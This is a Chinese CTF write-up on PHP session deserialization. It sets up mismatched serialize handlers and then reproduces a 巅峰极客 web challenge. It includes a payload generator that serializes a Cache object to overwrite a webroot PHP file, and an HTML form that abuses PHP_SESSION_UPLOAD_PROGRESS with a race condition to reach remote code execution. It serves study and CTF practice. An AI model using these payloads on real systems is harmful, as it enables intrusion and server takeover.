0%

PHP-SESSION反序列化——复现巅峰极客一道WEB题

一个例子引入

  • session.php

    <?php
    error_reporting(0);
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    $_SESSION['session'] = $_GET['session'];
    ?>
  • payload.php

    <?php
    class XianZhi{
        public $name;
        function __wakeup(){
          echo "Who are you?";
        }
        function __destruct(){
          echo '<br>'.$this->name;
        }
    }
        $str = new XianZhi();
        $str->name = "xianzhi";
        echo serialize($str);
      ?>
  • class.php

    <?php
        error_reporting(0);
      ini_set('session.serialize_handler','php');
      session_start();
        class XianZhi{
        public $name = 'panda';
        function __wakeup(){
          echo "Who are you?";
        }
        function __destruct(){
          echo '<br>'.$this->name;
        }
      }
      $str = new XianZhi();
     ?>
  • payload.php中获取序列化的payload,然后再访问session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候 会发现页面会多了个”xianzhi”这说明我们传入的值被反序列化了。

巅峰极客

  • 我们看巅峰极客这道题,可以很明显这里使用了一个file_put_contents将内容写到了一个指定地址的地方,那么我们该如何利用呢,那么这里就可以使用session反序列化将我们传入的序列化内容,从而控制Cache类,将类属性改成我们想要的内容,从而达到RCE的效果。问题又来了那么怎么才能控制SESSION呢,这里可以用到 PHP BUG #71101 ,也就是常用的SESSION文件包含(上传进度文件)RCE的漏洞,将SESSION传入并导致反序列化。

    <?php
    class Cache{
        public $data;
        public $sj;
        public $path;
        public $html;
        function __construct($data){
            $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
            $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
            $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
            $this->path=Cache_DIR.DS.session_id().'.php';
        }
    
        function __destruct(){
            $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>   </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div>  <div class="content"><div class="inner">    <h1>Hero of you</h1></div>  </div>  <nav><ul>   <li><a href="#you">YOU</a></li></ul>    </nav></header><div id="main"><article id="you">    <h2 class="major" ng-app>%s</h2>    <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>   </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');
    
            if(file_put_contents($this->path,$this->html)){
                include($this->path);
            }
        }
    }
  • payload

    <?php
    
    class Cache{
        public $data ;
        public $sj;
        public $path = '/Library/WebServer/Documents/ctf/index.php';
        public $html;
    
    }
        $str = new Cache();
        $str->data= [
        "name" => "payload",
        "message" => "panda",
        "image" => "panda"
    ];
        echo serialize($str);
    
    ?>
  • EXP

    最后使用SESSION上传进度,将其包含进SESSION,这里使用条件竞争。

    <form action="http://10.37.14.49/ctf/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="这里填payload" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>